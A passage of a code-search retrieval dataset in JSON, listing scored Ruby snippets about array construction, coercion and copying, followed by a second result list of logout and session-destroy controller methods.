Hash.new)\n\t\ta[0]['cat'] = 'feline'\n\t\tassert [{\"cat\"=>\"feline\"}, {\"cat\"=>\"feline\"}], a\n\t\ta[1]['cat'] = 'Felix'\n\t\tassert [{\"cat\"=>\"Felix\"}, {\"cat\"=>\"Felix\"}], a\n\n\t\ta = Array.new(2) { Hash.new }\n\t\ta[0]['cat'] = 'feline'\n\t\tassert [{\"cat\"=>\"feline\"}, {}], a\n\n\t\tsquares = Array.new(5) {|i| i*i}\n\t\tassert [0,1,4,9,16], squares\n\n\t\tcopy = Array.new(squares)\n\t\tsquares[5] = 25\n\t\tassert 25, squares[5]\n\t\tassert [0,1,4,9,16, 25], squares\n\t\tassert [0,1,4,9,16], copy\n\tend", "title": "" }, { "docid": "0a8c95170c548fcb1c2f480a62f317c8", "score": "0.57920635", "text": "def coerce(other)\n\t [self, other]\n\tend", "title": "" }, { "docid": "c6c7e80944936ef00d78cc25642d06a4", "score": "0.57910675", "text": "def test_arrays_unchanged\n primes = [1, 2, 3, 5, 7, 11]\n test_object = ObjTestClasses::TestObject.new(primes: primes)\n\n assert_instance_of(Array, test_object.primes)\n assert_equal(primes, test_object.primes)\n end", "title": "" }, { "docid": "70f6facb8406cd5edf37b48203b7eebe", "score": "0.5777013", "text": "def coerce(other)\n\t\t[self, other]\n\tend", "title": "" }, { "docid": "a09968d3aecb42a88264d2c358f1f17b", "score": "0.5770281", "text": "def coerce(other)\n [self,other]\n end", "title": "" }, { "docid": "854fed79bbbbd7cd016f4b6989f31bd7", "score": "0.5752563", "text": "def class\n Array\n end", "title": "" }, { "docid": "083779b1f448007f887c560d1e829105", "score": "0.57478243", "text": "def initialize(input_arr=[])\n @internal_arr = []\n @input_arr = []\n end", "title": "" }, { "docid": "385c1b0ee7b4921a83eb53e01347c035", "score": "0.5746241", "text": "def create_array\nend", "title": "" }, { "docid": "1afe829fee59e6f89003d489b07252a5", "score": "0.5741218", "text": "def initialize(options = {})\n @array\n end", "title": "" }, { "docid": "bd4107ae355b7455c93bdde8af748f19", "score": "0.57411194", "text": "def to_ary\n return self\n end", "title": "" }, { "docid": "bd4107ae355b7455c93bdde8af748f19", "score": "0.57411194", "text": "def to_ary\n return self\n end", "title": "" }, { "docid": "aba37ef47d406d1c2ec438e0059e23f0", "score": "0.5733396", "text": "def build(object)\n if object.is_a?(Array)\n object.map { |obj| self.build(obj) }\n elsif object.is_a?(Hash)\n object.delete('__class__')\n object = Hashie::Mash.new(object)\n self.new.tap { |p| p.replace(object) }\n else\n raise \"What is this? I don't even...\"\n end\n end", "title": "" }, { "docid": "237fa36c4905bdd18636a2de3dd074ca", "score": "0.57323325", "text": "def coerce (dato)\n [self, dato]\n end", "title": "" }, { "docid": "ed0973551c8305ed3e51b4bb516f9d5d", "score": "0.5731081", "text": "def class\n Array\n end", "title": "" }, { "docid": "a4073af58b6e6f9c013353c2d509dd1c", "score": "0.5727562", "text": "def marshal_load(array)\n\t\tsuper(array[0])\n\t\t@currentLines, @currentColumns = array[1]\n\t\t@totalLines, @totalColumns, @totalSolution = array[2]\n\t\t@evolved = array[3]\n\t\treturn self\n\tend", "title": "" }, { "docid": "33f9679dc8436b4ddc6991e86d5983a1", "score": "0.57269675", "text": "def convert_base_array(base_array, need_union_type)\n if base_array.first.class.to_ikra_type.is_primitive? && !need_union_type\n base_array\n else\n if !need_union_type\n base_array.map do |obj|\n @objects[obj.class][obj]\n end\n else\n mem_block = FFI::MemoryPointer.new(Translator::EnvironmentBuilder::UnionTypeStruct, base_array.size)\n array = base_array.size.times.collect do |index|\n Translator::EnvironmentBuilder::UnionTypeStruct.new(mem_block + index * Translator::EnvironmentBuilder::UnionTypeStruct.size)\n end\n\n base_array.each_with_index do |obj, index|\n obj_type = obj.class.to_ikra_type\n array[index][:class_id] = obj_type.class_id\n\n if obj_type.is_primitive?\n # TODO: what if the primitive value is not an integer?\n array[index][:object_id] = obj\n else\n array[index][:object_id] = @objects[obj.class][obj]\n end\n end\n\n mem_block\n end\n end\n end", "title": "" }, { "docid": "e608a6407f4a141e0aa2ffe19892b5ef", "score": "0.57217276", "text": "def initialize(input_arr=[])\n @internal_arr = []\n input_arr.each {|elem| self.add(elem)}\n # Fill in the rest of the initialize method here.\n # What should you do with each element of the incoming array?\n\n\n end", "title": "" }, { "docid": "64b7934fbce88a13e5a60491254ba3bd", "score": "0.5714053", "text": "def init_vertex_array_objects\n\t\t#first object\n\t\t@vao1_id = GL30.gl_gen_vertex_arrays\n\t\tGL30.gl_bind_vertex_array(@vao1_id)\n\n\t\tGL15.gl_bind_buffer(GL15::GL_ARRAY_BUFFER, @vertex_buffer_id)\n\t\tGL20.gl_enable_vertex_attrib_array(0)\n\t\tGL20.gl_enable_vertex_attrib_array(1)\n\t\tGL20.gl_vertex_attrib_pointer(0, 3, GL11::GL_FLOAT, false, 0, 0)\n\t\tGL20.gl_vertex_attrib_pointer(1, 4, GL11::GL_FLOAT, false, 0, 36 * 3 * FLOAT_SIZE)\n\n\t\tGL15.gl_bind_buffer(GL15::GL_ELEMENT_ARRAY_BUFFER, @index_buffer_id)\n\n\t\tGL30.gl_bind_vertex_array(0)\n\n\t\t# second object\n\t\t@vao2_id = GL30.gl_gen_vertex_arrays\n\t\tGL30.gl_bind_vertex_array(@vao2_id)\n\n\t\tGL20.gl_enable_vertex_attrib_array(0)\n\t\tGL20.gl_enable_vertex_attrib_array(1)\n\n\t\tGL20.gl_vertex_attrib_pointer(0, 3, GL11::GL_FLOAT, false, 0, (36 / 2) * 3 * FLOAT_SIZE)\n\t\tGL20.gl_vertex_attrib_pointer(1, 4, GL11::GL_FLOAT, false, 0, (36 * 3 * FLOAT_SIZE) + ((36/2) * 4 * FLOAT_SIZE))\n\t\tGL15.gl_bind_buffer(GL15::GL_ELEMENT_ARRAY_BUFFER, @index_buffer_id)\n\n\t\tGL30.gl_bind_vertex_array(0)\n\tend", "title": "" }, { "docid": "0b1b1c9002bc21de1c13f597772f06ca", "score": "0.5707532", "text": "def __add_from_array__(array)\n array.concat(Array(self)).uniq\n end", "title": "" }, { "docid": "f103fe54d63fa0530285f45267b15429", "score": "0.57039523", "text": "def coerce(other)\n [self,other]\n end", "title": "" }, { "docid": "bb8683a251c23602e91c64a00f7685ea", "score": "0.5702483", "text": "def coerced_build(type, nc_array)\n\n klass = Object.const_get(\"#{type.capitalize}MDArray\")\n instance = klass.new(type, nc_array)\n instance.coerced = true\n return instance\n\n end", "title": "" }, { "docid": "a1cc159c28fd2e0e041a90fec25652ce", "score": "0.5702145", "text": "def to_ary()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "a1cc159c28fd2e0e041a90fec25652ce", "score": "0.5702145", "text": "def to_ary()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "2e761bacaa25f85e47ba3687ca0a06a1", "score": "0.56981766", "text": "def __getobj__\n @array_of_hashes # return object we are delegating to, required\n end", "title": "" }, { "docid": "d06cc83784eff6e40c476c9a36e995a1", "score": "0.5692887", "text": "def to_a\n @_to_a ||= super\n end", "title": "" }, { "docid": "483b135a84f05d8f4328c1a0c752c357", "score": "0.5691", "text": "def to_a() super end", "title": "" }, { "docid": "680358cbd214bcf972851a9f7d556f80", "score": "0.5687393", "text": "def initialize\n @array = []\n end", "title": "" }, { "docid": "4bb6085256e6428ea1be88686db0db64", "score": "0.5680367", "text": "def initialize array\n @array = array\n end", "title": "" }, { "docid": "3a83389cc0a8ff285c491150bfc53029", "score": "0.56803393", "text": "def wrap_with_combined\n # Rails.logger.debug(\"CMB: wrap Array <#{self.class}:#{self.object_id}> #{self.class.object_id}\")\n self.map{ |e| e.wrap_with_combined }\n end", "title": "" }, { "docid": "8cc7b4da51c05184536a5cc6e66b3a61", "score": "0.56738275", "text": "def coerce(other)\n [other, object]\n end", "title": "" }, { "docid": "1a2f29487bf40ed6ab1695c4a31c4ab2", "score": "0.5664522", "text": "def buildObject()\n ipList_1 = BabelTest::IPList.new\n ipList_1.list1 = [\"10.2.2.1\",\"127.0.0.1\",\"129.36.58.15\"]\n ipList_1.list2 = [\"2001:db8::ff00:1:8329\",\"ff:ac:12::5f\",\"1::\"]\n\n ipList_2 = BabelTest::IPList.new\n ipList_2.list1 = [\"100.20.20.10\",\"17.10.10.1\",\"12.36.68.105\"]\n ipList_2.list2 = [\"ff:fabf:faf:f15f:f1ff:f2f:1f:f2\", \"2001:db8::ff00:1:8329\",\"::1\"]\n\n com = BabelTest::Complex.new\n com.list1 = [{}]\n com.list1[0] = {\"AA\" => [ipList_1, ipList_2]}\n com.list1[1] = {\"BB\" => [ipList_2, ipList_1]}\n com\n end", "title": "" }, { "docid": "4c891e45cbfef5e53e7b0273d2b15dd6", "score": "0.56620467", "text": "def initialize(list1, list2)\n if list1 && list2\n #for each elm of list1, make an array that has the next element of list2\n list1.each do |elt| \n list2.each{|elm| self << [elt, elm]} \n end\n end \n end", "title": "" }, { "docid": "a23a438608bc396718b2e31d31448228", "score": "0.56589276", "text": "def initialize (array)\n\t\t@alimentos = array\n\tend", "title": "" }, { "docid": "877cef31ed8f499d207819e05fdd3432", "score": "0.5649657", "text": "def to_ary\n return [ self ]\n end", "title": "" }, { "docid": "0ac1581513f24850edddb0950e01bc24", "score": "0.56482077", "text": "def initialize\n @array = []\n end", "title": "" }, { "docid": "66dd3f0114b67acc6acc2d60e9f65651", "score": "0.5643598", "text": "def initialize(*args)\n super()\n if args.first.kind_of? Enumerable\n raw=args.first\n args[0]=nil\n _common_init(*args)\n self.data = raw.to_a\n else\n _common_init(*args)\n end\n end", "title": "" }, { "docid": "fd2f7382b505baf344c7433ca8d76508", "score": "0.5637483", "text": "def concat(other)\n other = self.class.try_deconstruct(other) || other\n inner_array.concat other\n self\n end", "title": "" }, { "docid": "b2fd1eab9bcbafa2e1eaa76dff40993c", "score": "0.5636391", "text": "def initialize\r\n @grid = Array.new(9) {Array.new(9, \"\")}\r\n @display_grid = Marshal.load(Marshal.dump(@grid))\r\nend", "title": "" }, { "docid": "3b3a26314203d6914e81fcf177a37b9e", "score": "0.563341", "text": "def coerce(other)\n [other, base]\n end", "title": "" }, { "docid": "ed7d2a5243d441659275fd2bf4f087db", "score": "0.5611434", "text": "def merge_doc(doc1, doc2)\n doc1 = Schema::FixedArray::EMPTY if doc1 == Schema::Primitive::NULL\n doc2 = Schema::FixedArray::EMPTY if doc2 == Schema::Primitive::NULL\n\n case\n when Schema::Anything === doc1 || Schema::Anything === doc2\n Schema::DynArray.new(Schema::Anything.instance)\n when Schema::FixedArray === doc1 && Schema::FixedArray === doc2\n Schema::FixedArray.new(doc1.items + doc2.items)\n when Schema::AnyOf === doc2\n Schema::AnyOf.canonicalized(doc2.choice_set.map { |c| merge_doc(doc1, c) })\n when Schema::AnyOf === doc1\n Schema::AnyOf.canonicalized(doc1.choice_set.map { |c| merge_doc(c, doc2) })\n when Schema::DynArray === doc1 && Schema::FixedArray === doc2\n Schema::DynArray.new(Schema::AnyOf.canonicalized([doc1.item] + doc2.items))\n when Schema::FixedArray === doc1 && Schema::DynArray === doc2\n Schema::DynArray.new(Schema::AnyOf.canonicalized(doc1.items + [doc2.item]))\n when Schema::DynArray === doc1 && Schema::DynArray === doc2\n Schema::DynArray.new(Schema::AnyOf.canonicalized([doc1.item, doc2.item]))\n else raise Errors::InvalidTemplate, 'Only arrays can be concatenated'\n end\n end", "title": "" }, { "docid": "8b62644e728cde9b26397c34ed310ef4", "score": "0.5608644", "text": "def replace(other)\n Rubinius.check_frozen\n\n other = Rubinius::Type.coerce_to other, Array, :to_ary\n\n m = Rubinius::Mirror.reflect other\n @tuple = m.tuple.dup\n @total = m.total\n @start = m.start\n\n Rubinius::Type.infect(self, other)\n self\n end", "title": "" }, { "docid": "e731f5c67901d7e4e54a01e99d9ad16d", "score": "0.5590486", "text": "def __deep_copy__; self; end", "title": "" }, { "docid": "a57829ce1a3f57668b9166308705ab69", "score": "0.55847245", "text": "def initialize\n @data = []\n end", "title": "" }, { "docid": "911415c850c584e2e16a1b34d28d7c1c", "score": "0.55697507", "text": "def coerce(other)\n [self, other]\n end", "title": "" }, { "docid": "911415c850c584e2e16a1b34d28d7c1c", "score": "0.55697507", "text": "def coerce(other)\n [self, other]\n end", "title": "" }, { "docid": "b276c444576d160ca90785b3f6e4ec39", "score": "0.5563972", "text": "def initialize\r\n \r\n @shapes = Array.new\r\n \r\n end", "title": "" }, { "docid": "157753cdb7f2110f0c20582c2fe074d9", "score": "0.5563705", "text": "def merge(other)\n super other.map(&method(:instantiate))\n end", "title": "" }, { "docid": "f3527b94710ed3aa1c8c821dd61a4cf3", "score": "0.55495924", "text": "def initialize_copy(other); end", "title": "" }, { "docid": "f3527b94710ed3aa1c8c821dd61a4cf3", "score": "0.55495924", "text": "def initialize_copy(other); end", "title": "" }, { "docid": "f3527b94710ed3aa1c8c821dd61a4cf3", "score": "0.55495924", "text": "def initialize_copy(other); end", "title": "" }, { "docid": "f3527b94710ed3aa1c8c821dd61a4cf3", "score": "0.55495924", "text": "def initialize_copy(other); end", "title": "" }, { "docid": "f3527b94710ed3aa1c8c821dd61a4cf3", "score": "0.55495924", "text": "def initialize_copy(other); end", "title": "" }, { "docid": "f3527b94710ed3aa1c8c821dd61a4cf3", "score": "0.55495924", "text": "def initialize_copy(other); end", "title": "" }, { "docid": "f3527b94710ed3aa1c8c821dd61a4cf3", "score": "0.55495185", "text": "def initialize_copy(other); end", "title": "" }, { "docid": "ef36d5877f9d361c0e0ead040c7ea983", "score": "0.5548355", "text": "def | other\n\t\t\t\tself.class.new([*@types, other])\n\t\t\tend", "title": "" }, { "docid": "c4c90136e1663f602246fd91a5edd8c7", "score": "0.5547127", "text": "def to_ary\n [ self ]\n end", "title": "" }, { "docid": "66ee3520f8769dcea4d6096dc9b037d5", "score": "0.55430055", "text": "def coerce(other)\n [self, other]\n end", "title": "" }, { "docid": "3f31c817dbd09475411cef8021353e67", "score": "0.5541697", "text": "def merge_data(array)\n\nend", "title": "" }, { "docid": "1f430f0f4c1a079dc034fbc5d0b88c65", "score": "0.55392694", "text": "def initialize\n @data = []\n end", "title": "" }, { "docid": "965fa2d0ea63da1df0047fe5b36b4272", "score": "0.55384845", "text": "def build_overrides_object(client_urn, cls_url, arr)\n # array used for data export\n loc_overrides_arr = []\n cust_overrides_arr = []\n \n # get data from the hub api\n hub_url = \"http://hub.g5dxm.com/clients/#{client_urn}.json\"\n hub_response = get_response hub_url\n hub_data = get_data hub_response, hub_url\n \n # get data from cls api\n cls_response = get_response cls_url\n cls_data = get_data cls_response, cls_url\n\n # build objects with hub data\n hub_data[\"client\"][\"locations\"].each do |loc|\n loc_overrides_obj = Overrides.new(loc[\"name\"], loc[\"internal_branded_name\"], loc[\"urn\"], loc[\"status\"])\n cust_overrides_obj = Overrides.new(loc[\"name\"], loc[\"internal_branded_name\"], loc[\"urn\"], loc[\"status\"])\n \n # add cls API override data to existing objects\n cls_data[\"configurable_attributes\"].each do |item|\n # seperate by category\n if item[\"category\"] == \"Location\"\n # run get_overrides with specific category\n loc_overrides_obj = get_overrides item, loc_overrides_obj, \"Location\", loc_overrides_arr \n elsif item[\"category\"] == \"Customer\"\n cust_overrides_obj = get_overrides item, cust_overrides_obj, \"Customer\", cust_overrides_arr\n end\n end\n\n # push override objs to arrays\n if loc_overrides_obj.status != \"Deleted\" && loc_overrides_obj.status != \"Suspended\" && cust_overrides_obj.status != \"Deleted\" && cust_overrides_obj.status != \"Suspended\"\n loc_overrides_arr.push(loc_overrides_obj)\n cust_overrides_arr.push(cust_overrides_obj)\n end\n arr.push(loc_overrides_arr)\n arr.push(cust_overrides_arr)\n end\n # return array of objects\n return arr\n end", "title": "" }, { "docid": "a6f979037b28f6b8c61196161e2bcd3e", "score": "0.5538398", "text": "def diff_array\n @diff_ary ||= create_diff\n end", "title": "" }, { "docid": "a6f979037b28f6b8c61196161e2bcd3e", "score": "0.5538398", "text": "def diff_array\n @diff_ary ||= create_diff\n end", "title": "" }, { "docid": "e6914719e24d94d0ca5671c86565cabd", "score": "0.55277187", "text": "def clone\n clone_with to_a\n end", "title": "" }, { "docid": "87181c295e57b6333b0f7593aabc00de", "score": "0.5525344", "text": "def initialize(input_arr=[])\n @internal_arr = []\n # Fill in the rest of the initialize method here.\n # What should you do with each element of the incoming array?\n end", "title": "" }, { "docid": "90b1c34b00eab4c1a6f2b786cab55e6d", "score": "0.5524225", "text": "def initialize(data=[], subtype=SUBTYPE_SIMPLE)\n super(data)\n @subtype = subtype\n end", "title": "" }, { "docid": "e93e4d7448137923fe333318691c22e6", "score": "0.552414", "text": "def replace(other)\n Rubinius.check_frozen\n\n other = Rubinius::Type.coerce_to other, Array, :to_ary\n\n @tuple = other.tuple.dup\n @total = other.total\n @start = other.start\n self\n end", "title": "" }, { "docid": "acfbc6bc13725684858a813951c09a4c", "score": "0.55151564", "text": "def to_ary\n self\n end", "title": "" }, { "docid": "821237aa8db06458479bd00fa268e97d", "score": "0.551218", "text": "def concat(other)\n ary = Type.coerce_to(other, Array, :to_ary)\n size = @total + ary.size\n tuple = Tuple.new size\n tuple.copy_from @tuple, @start, 0 if @total > 0\n tuple.copy_from ary.tuple, ary.start, @total\n @tuple = tuple\n @start = 0\n @total = size\n self\n end", "title": "" }, { "docid": "de4bf9ed21946309244fd37c580a5ba4", "score": "0.5508737", "text": "def initialize(input_arr = [])\n @internal_arr = input_arr\n # Fill in the rest of the initialize method here.\n # What should you do with each element of the incoming array?\n end", "title": "" }, { "docid": "87f41cbfce987cc820db4a4945dc47ed", "score": "0.5504472", "text": "def to_ary\n return load_array.dup if @collection\n return [get_single_obj]\n end", "title": "" }, { "docid": "8217cefe8f5b4e31b54f638415d4479a", "score": "0.55022293", "text": "def new_discovered_array\n @synthetis_discovered = {1 => {}, 2 => {}, 3 => {}}\n end", "title": "" }, { "docid": "9c07503debd58a1c52a0d38bec732edd", "score": "0.5494981", "text": "def initialize\n @mappings = self.class.mappings\n @use_array_collection = self.class.use_array_collection === true\n end", "title": "" } ]
4ae282431af99d1ee5b15fede3ef8874
GET /logout DELETE /logout
[ { "docid": "468b28ceb9b9fd776af374f76980c453", "score": "0.7182174", "text": "def destroy\n \tuser_session.logout()\n \trestore_last_request(notice: \"Successfully logged out\")\n end", "title": "" } ]
[ { "docid": "7795113a40e721c0e69d8ec121eea354", "score": "0.82364875", "text": "def logout\n request(:post, '/api/logout/')\n end", "title": "" }, { "docid": "44a32680f44e92ca1b7805ac4c64ead1", "score": "0.8204714", "text": "def log_out \n get '/sessions/destroy'\nend", "title": "" }, { "docid": "44a32680f44e92ca1b7805ac4c64ead1", "score": "0.8204714", "text": "def log_out \n get '/sessions/destroy'\nend", "title": "" }, { "docid": "31bc2512cc89a0bbdff1093c27122079", "score": "0.82019174", "text": "def log_out\n get '/sessions/destroy'\nend", "title": "" }, { "docid": "82d542ee5c9b2f5b33f8c166e6103b42", "score": "0.8132729", "text": "def logout\n query_rest('logout_ok', :action => :logout)\n end", "title": "" }, { "docid": "b44d6f231cab1efeb6fa80478afa029f", "score": "0.81255376", "text": "def logout\n destroy\n end", "title": "" }, { "docid": "a7e9e0bf867b8bd4fc66ace609611078", "score": "0.810295", "text": "def logout\n send_request 'logout'\n end", "title": "" }, { "docid": "a1d5e075b74c650dc9ef411200778f94", "score": "0.7989004", "text": "def destroy\n logout\n end", "title": "" }, { "docid": "a43218ced5f4a4bd0966bbc5b177d0d7", "score": "0.7851194", "text": "def sign_out\n get logout_url\n end", "title": "" }, { "docid": "063b7625d01db8d9c69c3f17657a8124", "score": "0.7834032", "text": "def logout\n params = {\n 'method' => :delete,\n 'command' => '/session'\n }\n\n response, headers = send_request(params)\n end", "title": "" }, { "docid": "c252ae1b21627a4f3c1c5b65a5b7ca30", "score": "0.7794363", "text": "def logout(params)\n get('logout', params)\n end", "title": "" }, { "docid": "c252ae1b21627a4f3c1c5b65a5b7ca30", "score": "0.7794363", "text": "def logout(params)\n get('logout', params)\n end", "title": "" }, { "docid": "5550a9e2f89c8331863dfcae5455ce8e", "score": "0.77877134", "text": "def logout!\r\n params = {\r\n method: :get,\r\n url: '/logout'\r\n }\r\n request(params).perform!\r\n end", "title": "" }, { "docid": "a26950f36231d68413181ad6ea52fc22", "score": "0.7775871", "text": "def logout\n\t\t\t\tcall :get, '/user/logout'\n\t\t\tend", "title": "" }, { "docid": "88584fa6eac86b4569ec2f004fddba5f", "score": "0.7749562", "text": "def logout\n\n end", "title": "" }, { "docid": "d243fedc0151a98d30b84cd13fd5687e", "score": "0.77284074", "text": "def logout\n end", "title": "" }, { "docid": "d243fedc0151a98d30b84cd13fd5687e", "score": "0.77284074", "text": "def logout\n end", "title": "" }, { "docid": "11764da64e430fc46d52be983f675f7f", "score": "0.7707128", "text": "def destroy\n logout!\n end", "title": "" }, { "docid": "9a966f054861e82b355fe1e99a9aff25", "score": "0.76843345", "text": "def log_out\n\tdelete '/session'\nend", "title": "" }, { "docid": "9a966f054861e82b355fe1e99a9aff25", "score": "0.76843345", "text": "def log_out\n\tdelete '/session'\nend", "title": "" }, { "docid": "75d7bb7728069c3c5c77e00430256362", "score": "0.7653423", "text": "def logout\n delete('Session')\n end", "title": "" }, { "docid": "3efd2a565672d937c274581fb9d88af3", "score": "0.7638987", "text": "def logout\n\t\t\tdo_api :post, 'auth/logout', { :session => @session }\n\t\tend", "title": "" }, { "docid": "e032b8db01b6e4bc3d28e125de4fbf50", "score": "0.7589412", "text": "def logout\n user = getUserByAuthToken(request)\n clearAuthTokenForUser(user)\n head :no_content\n end", "title": "" }, { "docid": "758bad257db94fd0820fad2abf1a439e", "score": "0.7584618", "text": "def logout\n session_logout\n end", "title": "" }, { "docid": "563b4c121f49752046a157e44fbdc62e", "score": "0.7584324", "text": "def logout\n end", "title": "" }, { "docid": "26d7feb0018e2fe5b2625e6399a8f865", "score": "0.75500035", "text": "def logout\n \n end", "title": "" }, { "docid": "4b3a3450f7086209d2fea2b7f2eaf7bf", "score": "0.75381804", "text": "def logout\n params = {\n 'method' => :delete,\n 'command' => '/session'\n }\n\n response, headers = send_request(params)\n # reset auth key to nil\n @auth_key = nil\n end", "title": "" }, { "docid": "f3306d4c6e67bd975e43a5b5a78f7da6", "score": "0.75227034", "text": "def logout\n cookies.signed[:user_id] = session[:user_id] = nil\n session[:admin] = false\n head :ok\n end", "title": "" }, { "docid": "a15c5fcb3a6b94cea6bf779391e1adb1", "score": "0.7497334", "text": "def destroy\n logout\n redirect_to('/', notice: 'Logged out!')\n end", "title": "" }, { "docid": "6561cfd371ef2d8f39ce64f804929f46", "score": "0.74856865", "text": "def logout\n logoff\n end", "title": "" }, { "docid": "a79f11c7c9f03eb7c09a636593159d11", "score": "0.7484307", "text": "def logout\n sign_out\n respond_with(nil)\n end", "title": "" }, { "docid": "25768c25518148c3992941026ad1d367", "score": "0.74685055", "text": "def logout\n params = {\n 'method' => :delete,\n 'command' => '/session'\n }\n\n _response, _headers = send_request(params)\n # reset auth key to nil\n @auth_key = nil\n end", "title": "" }, { "docid": "ef548a6d94241614ce62ed9d4e4cd686", "score": "0.74501383", "text": "def logout; end", "title": "" }, { "docid": "d8c71c270bd97804cb9dbcfeed15d80c", "score": "0.74470204", "text": "def logout\n query = {operation: :logout}\n params = {sessionName: @session_id}\n res = post_request query, params\n res['message']\n end", "title": "" }, { "docid": "938b7539bec0adb78cbd661ce18e4025", "score": "0.7410164", "text": "def destroy\n # log_out if logged_in?# in the Session helper\n log_out\n redirect_to root_url\n end", "title": "" }, { "docid": "74f7723967e1df28f73d9e29f60bafb6", "score": "0.74097085", "text": "def do_logout\n session.delete :user\n end", "title": "" }, { "docid": "829a8e47f6f411a399d37d3992bbd5e3", "score": "0.7394305", "text": "def logout\n session_user.logout\n end", "title": "" }, { "docid": "6643053e29ff9447bf91de3c3d023564", "score": "0.7387757", "text": "def logout\n raise \"not logged in\" unless @logged_in\n call_api('/Users/logout')\n @logged_in = nil\n end", "title": "" }, { "docid": "1984f8bbd2fd3005240f3dfa7325c904", "score": "0.7380143", "text": "def destroy\n [:uid, :user, :oauth_token, :oauth_secret].map { |sym| session[sym] = nil }\n redirect_to root_path, notice: \"You've been logged out.\"\n end", "title": "" }, { "docid": "7fc2220ff34c86df70b8c2ca4f6b6157", "score": "0.73778415", "text": "def logout\n if current_user == User.find(params[:id])\n current_user.logout\n head :no_content\n else\n head :unauthorized\n end\n end", "title": "" }, { "docid": "72c49c6a993782af406f4b87eb302eef", "score": "0.7363495", "text": "def full_sign_out\n delete '/session'\n end", "title": "" }, { "docid": "4695cabbf2155dcad5e8a26e592a67e2", "score": "0.7348343", "text": "def logout\n request 'smugmug.logout'\n @session_id = nil\n end", "title": "" }, { "docid": "02423c705dc01731797e2aa42d5d784d", "score": "0.7332289", "text": "def logout\n session[:user_id] = nil\n render json: {error:'Logged out'}\n end", "title": "" }, { "docid": "634e6a9a726b02846a86f6ec02022455", "score": "0.72910804", "text": "def logout\n response = get(\"core/logout\", Boolean, :session_token)\n @session_token = nil\n response\n end", "title": "" }, { "docid": "8ae37215edddc2a9b0928f9a086c4d67", "score": "0.7287234", "text": "def user_logout\n res = http_delete(uri: '/session', fields: x_cookie)\n res.code\n end", "title": "" }, { "docid": "95c82851e808e5e3cfd877b50cf6d346", "score": "0.7279694", "text": "def destroy\n \n log_out\n flash[:success] = \"Log out successful.\"\n redirect_to '/login'\n end", "title": "" }, { "docid": "b790b3484bd595fb6420bebb078be826", "score": "0.72756904", "text": "def destroy\n puts \" \"\n puts \" Status: sessions_controller, destroy method \"\n puts \"\"\n log_out if logged_in?\n redirect_to root_path\n end", "title": "" }, { "docid": "53ab4bc67fcec7caedca27e888ae22c1", "score": "0.7262941", "text": "def logout\n response = get_request('Logout')\n return response[:Result]\n end", "title": "" }, { "docid": "3bb7aa029ff19540c0867deac58f84ba", "score": "0.72618043", "text": "def logout\n session.delete(:user_id)\n end", "title": "" }, { "docid": "f9f2754db8ab161f69ddd18fb8994462", "score": "0.7261767", "text": "def sign_out\n logout\n end", "title": "" }, { "docid": "b3d22d5ef45606d82c9251d7487d7d96", "score": "0.7259101", "text": "def auth_logout\n session.delete(:logged_in)\n session.delete(:username)\n end", "title": "" }, { "docid": "ae8a31bf1ac08405d21abe91650df994", "score": "0.72588646", "text": "def destroy\n logger.debug \"log out\"\n session[:user_id] = nil\n render :json => {:message => :logged_out}\n end", "title": "" }, { "docid": "756681516f95038530c09fb048837ab7", "score": "0.7244592", "text": "def destroy\n log_out\n redirect_to login_path\n end", "title": "" }, { "docid": "ac26e763fb9020f9eff4a7edcff668f6", "score": "0.7243539", "text": "def disconnect\n @base.get('/logout')\n Base.disconnect!\n end", "title": "" }, { "docid": "409cb0406597378cc35f31ad35356e2a", "score": "0.72420603", "text": "def destroy\n log_out if logged_in?\n redirect_to root_url\n end", "title": "" }, { "docid": "409cb0406597378cc35f31ad35356e2a", "score": "0.72420603", "text": "def destroy\n log_out if logged_in?\n redirect_to root_url\n end", "title": "" }, { "docid": "409cb0406597378cc35f31ad35356e2a", "score": "0.72420603", "text": "def destroy\n log_out if logged_in?\n redirect_to root_url\n end", "title": "" }, { "docid": "409cb0406597378cc35f31ad35356e2a", "score": "0.72420603", "text": "def destroy\n log_out if logged_in?\n redirect_to root_url\n end", "title": "" }, { "docid": "409cb0406597378cc35f31ad35356e2a", "score": "0.72420603", "text": "def destroy\n log_out if logged_in?\n redirect_to root_url\n end", "title": "" }, { "docid": "409cb0406597378cc35f31ad35356e2a", "score": "0.72420603", "text": "def destroy\n log_out if logged_in?\n redirect_to root_url\n end", "title": "" }, { "docid": "409cb0406597378cc35f31ad35356e2a", "score": "0.72420603", "text": "def destroy\n log_out if logged_in?\n redirect_to root_url\n end", "title": "" }, { "docid": "409cb0406597378cc35f31ad35356e2a", "score": "0.72420603", "text": "def destroy\n log_out if logged_in?\n redirect_to root_url\n end", "title": "" }, { "docid": "409cb0406597378cc35f31ad35356e2a", "score": "0.72420603", "text": "def destroy\n log_out if logged_in?\n redirect_to root_url\n end", "title": "" }, { "docid": "409cb0406597378cc35f31ad35356e2a", "score": "0.72420603", "text": "def destroy\n log_out if logged_in?\n redirect_to root_url\n end", "title": "" }, { "docid": "409cb0406597378cc35f31ad35356e2a", "score": "0.72420603", "text": "def destroy\n log_out if logged_in?\n redirect_to root_url\n end", "title": "" }, { "docid": "409cb0406597378cc35f31ad35356e2a", "score": "0.72420603", "text": "def destroy\n log_out if logged_in?\n redirect_to root_url\n end", "title": "" }, { "docid": "409cb0406597378cc35f31ad35356e2a", "score": "0.72420603", "text": "def destroy\n log_out if logged_in?\n redirect_to root_url\n end", "title": "" }, { "docid": "409cb0406597378cc35f31ad35356e2a", "score": "0.72420603", "text": "def destroy\n log_out if logged_in?\n redirect_to root_url\n end", "title": "" }, { "docid": "722b5e84bd56ef4014de44dae67e4a58", "score": "0.7236398", "text": "def index\n subject.logout\n end", "title": "" }, { "docid": "e30dff74bfcc42c33db4216bf2d43bc9", "score": "0.72308075", "text": "def destroy\n current_user.logout\n render :json => {:success => true, :message => \"logged out\"}\n end", "title": "" }, { "docid": "26c2da6eb425e3a5c71631118ec58d04", "score": "0.7224358", "text": "def destroy \n log_out\n redirect_to root_url\n end", "title": "" }, { "docid": "dc272127cc53d49ce4b0f1693bd9d0ce", "score": "0.7223825", "text": "def logout\n log_out\n redirect_to login_path\n end", "title": "" }, { "docid": "dc272127cc53d49ce4b0f1693bd9d0ce", "score": "0.7223825", "text": "def logout\n log_out\n redirect_to login_path\n end", "title": "" }, { "docid": "dc272127cc53d49ce4b0f1693bd9d0ce", "score": "0.7223825", "text": "def logout\n log_out\n redirect_to login_path\n end", "title": "" }, { "docid": "f586adacbac673f6a0ed3d61e93ae68d", "score": 